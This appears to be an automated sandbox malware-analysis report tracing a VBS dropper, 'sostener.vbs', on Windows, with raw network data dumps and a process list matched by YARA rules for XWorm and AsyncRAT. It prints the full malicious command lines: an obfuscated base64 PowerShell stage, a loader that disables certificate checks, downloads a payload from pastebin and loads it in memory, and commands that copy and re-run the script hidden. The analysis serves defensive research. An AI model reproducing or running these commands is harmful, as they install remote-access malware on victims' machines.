2024-10-03 04:53:35 UTC	1369	IN	Data Raw: 34 32 62 70 4e 6e 63 6c 5a 48 49 35 52 58 61 30 35 57 5a 6b 6c 55 65 73 4a 57 62 6c 4e 33 63 68 78 44 49 67 6f 51 44 2b 49 43 4d 75 45 6a 49 39 34 32 62 70 4e 6e 63 6c 5a 46 64 7a 56 6d 5a 70 35 57 59 74 42 69 49 78 59 6e 4c 74 4e 58 59 36 30 32 62 6a 31 43 64 6d 39 32 63 76 4a 33 59 70 31 57 4c 7a 46 57 62 6c 68 32 59 7a 70 6a 62 79 56 6e 49 39 4d 6e 62 73 31 47 65 67 6b 48 62 69 31 57 5a 7a 4e 58 59 38 6f 51 44 2b 38 6a 49 7a 56 57 65 69 30 54 5a 75 39 47 62 68 52 6d 62 68 52 33 63 67 49 43 4f 74 59 45 56 56 4a 53 50 6e 35 57 61 6b 39 32 59 75 56 47 49 69 41 6a 4c 78 49 53 50 75 39 57 61 7a 4a 58 5a 32 42 43 62 74 68 33 50 38 38 37 75 76 44 41 41 41 41 44 41 75 41 41 4d 41 34 43 41 77 41 67 4c 41 45 44 41 41 41 67 62 41 38 47 41 70 42 77 63 41 49 48 41 Data Ascii: 42bpNnclZHI5RXa05WZklUesJWblN3chxDIgoQD+ICMuEjI942bpNnclZFdzVmZp5WYtBiIxYnLtNXY602bj1Cdm92cvJ3Yp1WLzFWblh2YzpjbyVnI9Mnbs1GegkHbi1WZzNXY8oQD+8jIzVWei0TZu9GbhRmbhR3cgICOtYEVVJSPn5Wak92YuVGIiAjLxISPu9WazJXZ2BCbth3P887uvDAAAADAuAAMA4CAwAgLAEDAAAgbA8GApBwcAIHA
2024-10-03 04:53:35 UTC	1071	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-03 04:53:35 UTC	1369	IN	Data Raw: 32 30 30 30 0d 0a 42 64 48 6f 45 41 41 53 42 46 44 6f 45 63 30 52 33 42 4b 42 48 6c 48 6f 45 63 59 77 42 50 55 68 67 53 30 61 67 53 45 41 41 49 6b 68 67 52 45 51 41 67 59 67 41 64 77 52 48 63 30 52 46 43 4b 52 72 42 4b 42 48 47 63 77 44 4f 55 4d 67 53 34 41 43 43 55 77 42 4a 45 68 67 53 41 41 49 46 34 51 44 43 4b 52 41 41 59 51 43 43 4b 52 42 43 4b 68 41 48 67 67 44 42 6f 77 41 43 41 67 48 43 6b 66 67 53 55 42 41 65 45 51 41 43 4b 52 46 43 49 51 41 51 4d 68 41 4f 49 51 2b 42 4b 52 46 48 30 61 67 53 30 42 41 41 59 41 41 54 45 51 41 67 55 67 44 42 55 66 67 53 55 68 42 74 47 6f 45 64 67 67 44 64 67 51 72 42 4b 68 44 42 55 66 67 53 55 42 48 49 67 77 42 56 45 55 45 42 46 68 41 43 41 77 42 42 46 42 41 67 51 51 44 42 46 52 41 41 55 67 44 64 4d 51 48 46 44 6f 45 Data Ascii: 2000BdHoEAASBFDoEc0R3BKBHlHoEcYwBPUhgS0agSEAAIkhgREQAgYgAdwRHc0RFCKRrBKBHGcwDOUMgS4ACCUwBJEhgSAAIF4QDCKRAAYQCCKRBCKhAHggDBowACAgHCkfgSUBAeEQACKRFCIQAQMhAOIQ+BKRFH0agS0BAAYAATEQAgUgDBUfgSUhBtGoEdggDdgQrBKhDBUfgSUBHIgwBVEUEBFhACAwBBFBAgQQDBFRAAUgDdMQHFDoE
2024-10-03 04:53:35 UTC	1369	IN	Data Raw: 67 41 41 55 41 41 54 45 67 43 45 41 77 45 43 41 77 45 42 67 68 45 56 59 41 41 54 45 77 42 45 41 67 48 42 6f 41 42 41 34 42 41 42 41 52 42 41 34 68 41 41 34 52 41 48 51 67 44 42 63 77 41 31 43 59 45 56 49 52 41 41 63 51 46 53 45 77 42 45 67 51 41 48 4d 41 48 63 45 41 41 45 49 51 41 48 4d 41 46 53 45 77 42 45 45 68 45 42 63 41 42 49 49 52 41 48 51 41 44 53 45 77 42 45 51 68 45 42 67 68 45 56 59 51 45 53 45 41 47 53 55 68 42 49 49 52 41 59 49 52 46 47 77 67 45 42 67 68 45 56 59 67 50 6b 39 47 61 30 56 57 62 67 51 57 5a 30 46 6d 63 6c 35 57 5a 6e 78 6a 45 6c 42 58 65 55 52 67 44 55 42 51 41 2b 51 32 62 6f 52 58 5a 74 42 43 5a 6c 52 58 59 79 56 6d 62 6c 64 47 50 53 41 51 41 78 49 51 41 42 41 43 42 41 41 41 41 66 39 56 5a 6a 35 57 59 30 4e 6e 62 4a 39 31 58 6c Data Ascii: gAAUAATEgCEAwECAwEBghEVYAATEwBEAgHBoABA4BABARBA4hAA4RAHQgDBcwA1CYEVIRAAcQFSEwBEgQAHMAHcEAAEIQAHMAFSEwBEEhEBcABIIRAHQADSEwBEQhEBghEVYQESEAGSUhBIIRAYIRFGwgEBghEVYgPk9Ga0VWbgQWZ0Fmcl5WZnxjElBXeURgDUBQA+Q2boRXZtBCZlRXYyVmbldGPSAQAxIQABACBAAAAf9VZj5WY0NnbJ91Xl
2024-10-03 04:53:35 UTC	1369	IN	Data Raw: 43 53 41 41 41 45 77 67 45 41 41 41 42 42 41 41 41 44 51 68 45 42 67 68 45 56 59 77 42 52 49 52 41 59 49 52 46 47 63 41 43 53 45 41 47 53 55 68 42 48 77 67 45 42 67 68 45 56 59 77 42 4a 43 4f 4e 5a 59 46 58 36 64 4c 43 49 41 41 41 44 34 41 41 41 4d 51 41 41 41 79 41 36 6f 51 31 52 38 33 58 2f 41 4c 43 41 6b 4e 42 45 31 68 71 74 4e 4d 6e 4a 31 66 71 46 36 4c 55 4a 6c 4d 41 41 4d 44 41 4d 42 77 4d 41 6b 46 41 45 42 51 52 41 51 45 41 30 41 77 53 41 55 47 41 47 42 41 4f 41 51 46 41 55 42 67 4d 41 63 48 41 6b 42 67 51 41 45 48 41 4a 42 67 59 41 6b 48 41 52 42 77 56 41 34 47 41 31 42 51 57 41 38 45 41 50 42 41 53 41 6f 48 41 59 42 51 55 41 51 45 41 36 42 41 4f 41 4d 44 41 71 42 77 54 41 63 46 41 4b 42 67 62 41 55 47 41 31 42 51 59 41 34 47 41 4c 42 77 56 41 45 Data Ascii: CSAAAEwgEAAABBAAADQhEBghEVYwBRIRAYIRFGcACSEAGSUhBHwgEBghEVYwBJCONZYFX6dLCIAAAD4AAAMQAAAyA6oQ1R83X/ALCAkNBE1hqtNMnJ1fqF6LUJlMAAMDAMBwMAkFAEBQRAQEA0AwSAUGAGBAOAQFAUBgMAcHAkBgQAEHAJBgYAkHARBwVA4GA1BQWA8EAPBASAoHAYBQUAQEA6BAOAMDAqBwTAcFAKBgbAUGA1BQYA4GALBwVAE
2024-10-03 04:53:35 UTC	1369	IN	Data Raw: 41 6f 47 41 34 41 41 4f 41 34 45 41 30 41 51 4f 41 6b 44 41 31 42 77 55 41 4d 45 41 34 42 67 53 41 67 44 41 74 42 51 62 41 63 47 41 4c 42 51 53 41 55 47 41 56 42 41 61 41 6b 47 41 75 42 41 62 41 6b 48 41 71 42 77 4d 41 6b 45 41 4c 42 41 53 41 59 47 41 52 42 67 4e 41 59 46 41 30 42 41 4e 41 49 44 41 45 42 51 51 41 49 46 41 44 42 51 55 41 67 47 41 59 42 77 53 70 43 49 41 41 41 46 41 78 41 67 54 41 51 45 41 76 42 51 63 41 49 44 41 5a 42 67 63 41 77 47 41 53 42 77 53 41 45 45 41 44 42 77 59 41 6b 44 41 46 42 41 4f 41 59 46 41 34 42 67 53 41 63 44 41 57 42 51 64 41 67 45 41 53 42 51 61 41 6f 45 41 72 42 67 4e 41 4d 46 41 36 42 51 56 41 6f 47 41 51 42 77 61 41 55 47 41 59 42 41 57 41 49 44 41 33 42 51 5a 41 49 46 41 6a 42 77 5a 41 67 45 41 74 42 77 63 41 6b 48 Data Ascii: AoGA4AAOA4EA0AQOAkDA1BwUAMEA4BgSAgDAtBQbAcGALBQSAUGAVBAaAkGAuBAbAkHAqBwMAkEALBASAYGARBgNAYFA0BANAIDAEBQQAIFADBQUAgGAYBwSpCIAAAFAxAgTAQEAvBQcAIDAZBgcAwGASBwSAEEADBwYAkDAFBAOAYFA4BgSAcDAWBQdAgEASBQaAoEArBgNAMFA6BQVAoGAQBwaAUGAYBAWAIDA3BQZAIFAjBwZAgEAtBwcAkH
2024-10-03 04:53:35 UTC	1369	IN	Data Raw: 42 77 61 41 55 48 41 69 42 41 63 41 34 47 41 4f 42 51 55 41 6f 46 41 35 42 51 4e 41 63 45 41 77 41 67 64 41 45 46 41 76 42 67 61 41 55 46 41 47 42 51 4f 41 30 47 41 4b 42 41 64 41 49 44 41 68 42 51 53 41 4d 48 41 4f 42 77 4e 41 77 47 41 77 41 51 55 41 41 44 41 77 41 51 57 48 44 49 41 41 67 45 41 73 42 67 4d 41 55 47 41 7a 42 41 52 41 51 47 41 36 42 51 57 41 45 46 41 76 42 41 54 41 6f 47 41 47 42 41 65 41 45 44 41 6f 42 67 63 41 4d 47 41 4d 42 41 65 41 59 46 41 77 42 67 56 41 34 47 41 32 42 77 63 41 6b 44 41 4d 42 67 5a 41 63 47 41 47 42 77 55 41 6f 47 41 36 42 77 4e 41 6f 47 41 47 42 67 61 41 51 44 41 74 42 67 64 41 63 45 41 56 42 51 54 41 77 47 41 58 42 51 61 41 63 47 41 4a 42 41 4d 41 6b 48 41 46 42 41 57 41 34 47 41 79 42 41 4f 41 77 47 41 72 42 67 56 Data Ascii: BwaAUHAiBAcA4GAOBQUAoFA5BQNAcEAwAgdAEFAvBgaAUFAGBQOA0GAKBAdAIDAhBQSAMHAOBwNAwGAwAQUAADAwAQWHDIAAgEAsBgMAUGAzBARAQGA6BQWAEFAvBATAoGAGBAeAEDAoBgcAMGAMBAeAYFAwBgVA4GA2BwcAkDAMBgZAcGAGBwUAoGA6BwNAoGAGBgaAQDAtBgdAcEAVBQTAwGAXBQaAcGAJBAMAkHAFBAWA4GAyBAOAwGArBgV
2024-10-03 04:53:35 UTC	1355	IN	Data Raw: 47 41 71 42 77 51 41 4d 44 41 42 42 41 52 41 49 45 41 47 42 51 51 41 77 45 41 31 42 41 54 41 51 47 41 42 42 77 63 41 55 47 41 35 41 77 64 41 49 44 41 75 42 67 4d 41 63 48 41 79 41 41 57 48 44 49 41 41 63 44 41 59 42 51 52 41 45 46 41 31 42 41 61 41 49 48 41 30 41 67 51 41 63 48 41 30 41 51 61 41 63 48 41 47 42 77 56 41 45 44 41 51 42 67 61 41 51 48 41 4b 42 41 62 41 6f 46 41 71 42 51 59 41 4d 45 41 6d 42 67 64 41 45 44 41 46 42 41 55 41 63 44 41 77 42 77 52 41 55 44 41 72 42 67 57 41 51 46 41 74 42 67 51 41 49 48 41 52 42 51 5a 41 6f 47 41 71 42 67 64 41 59 45 41 61 42 67 53 41 49 48 41 75 42 51 4e 41 49 46 41 33 42 41 64 41 49 47 41 43 42 51 61 41 49 45 41 74 42 41 53 41 63 45 41 6c 42 51 52 41 63 44 41 79 42 67 4d 41 49 46 41 32 42 77 55 41 6f 45 41 72 Data Ascii: GAqBwQAMDABBARAIEAGBQQAwEA1BATAQGABBwcAUGA5AwdAIDAuBgMAcHAyAAWHDIAAcDAYBQRAEFA1BAaAIHA0AgQAcHA0AQaAcHAGBwVAEDAQBgaAQHAKBAbAoFAqBQYAMEAmBgdAEDAFBAUAcDAwBwRAUDArBgWAQFAtBgQAIHARBQZAoGAqBgdAYEAaBgSAIHAuBQNAIFA3BAdAIGACBQaAIEAtBASAcEAlBQRAcDAyBgMAIFA2BwUAoEAr

Target ID:	0
Start time:	00:53:00
Start date:	03/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs"
Imagebase:	0x7ff7cfbd0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:53:01
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:53:01
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	00:53:03
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000004.00000002.2176643102.00000287005E6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000004.00000002.2176643102.00000287005E6000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000004.00000002.2275849504.000002877CA20000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL, Description: Detects executables (downloaders) containing reversed URLs to raw contents of a paste, Source: 00000004.00000002.2275849504.000002877CA20000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_DLAgent09, Description: Detects known downloader agent, Source: 00000004.00000002.2275849504.000002877CA20000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:53:08
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:53:13
Start date:	03/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x100000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:53:13
Start date:	03/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xea0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000007.00000002.3349422989.0000000003081000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:53:21
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:53:21
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:53:22
Start date:	03/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs
Imagebase:	0x7ff7cfbd0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:53:25
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:53:25
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:53:25
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
